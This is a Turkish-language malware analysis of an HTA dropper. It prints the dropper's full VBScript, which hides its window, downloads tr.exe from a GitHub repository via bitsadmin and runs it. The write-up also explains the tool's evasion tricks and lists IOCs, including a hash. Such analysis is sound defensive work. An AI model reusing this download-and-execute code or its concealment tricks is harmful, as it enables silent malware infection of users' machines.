HTA Lizardium Dropper: bitsadmin LOLBin ile GitHub'dan om1cr0n-team/Lizardium/tr.exe İndirme

Genel Bakış

Bu örnek, 869 bayt büyüklüğünde son derece kompakt bir HTA dropper'dır. bitsadmin yardımıyla GitHub'daki om1cr0n-team/Lizardium deposundan tr.exe payload'ını indirip çalıştırmaktadır. Living-off-the-land (LOLBin) tekniğini kullanan bu dropper, meşru Windows araçları üzerinden zararlı içerik indirmektedir.

Teknik Analiz

HTA Dropper Kodu (Tam İçerik)

<script language="VBScript">
Window.ReSizeTo 0, 0
Window.MoveTo -4000, -4000
set oShell = CreateObject("WScript.Shell")
Dim Str
Str = "%Temp%" & "	r.exe"
oShell.Run "bitsadmin /transfer 8 https://github.com/om1cr0n-team/Lizardium/raw/refs/heads/main/tr.exe " & Str, DontShowWindow, WaitUntilFinished
oShell.Run Str
Close
</script>
<hta:application id="oHTA" applicationname="Bonjour" application="yes" width="10px" height="10px"></hta:application>

LOLBin Tekniği: bitsadmin

• bitsadmin /transfer 8 [URL] [DEST] — BITS servisini kullanarak dosya indirme
• BITS (Background Intelligent Transfer Service) meşru bir Windows servisidir
• Pek çok güvenlik aracı bitsadmin üzerinden yapılan indirmeleri şüpheli saymaz

GitHub Tabanlı Payload Dağıtımı

• Repo: https://github.com/om1cr0n-team/Lizardium
• Payload: raw/refs/heads/main/tr.exe
• GitHub üzerinden dağıtım, URL tabanlı bloklamayı zorlaştırır
• İndirme yolu: %Temp% r.exe

Gizleme Teknikleri

• Pencere boyutu: Window.ReSizeTo(0,0) → görünmez
• Pencere konumu: Window.MoveTo(-4000,-4000) → ekran dışı
• HTA App Adı: Bonjour (Apple servis taklidi)
• DontShowWindow — cmd penceresi gösterilmez

Teknik Özellikler

IOC Özeti

• GitHub URL: https://github.com/om1cr0n-team/Lizardium/raw/refs/heads/main/tr.exe
• LOLBin: bitsadmin /transfer
• SHA256: b4580444411800cef98b30d7fb599bbf69b230ccba2077710c4048f30b6acbcc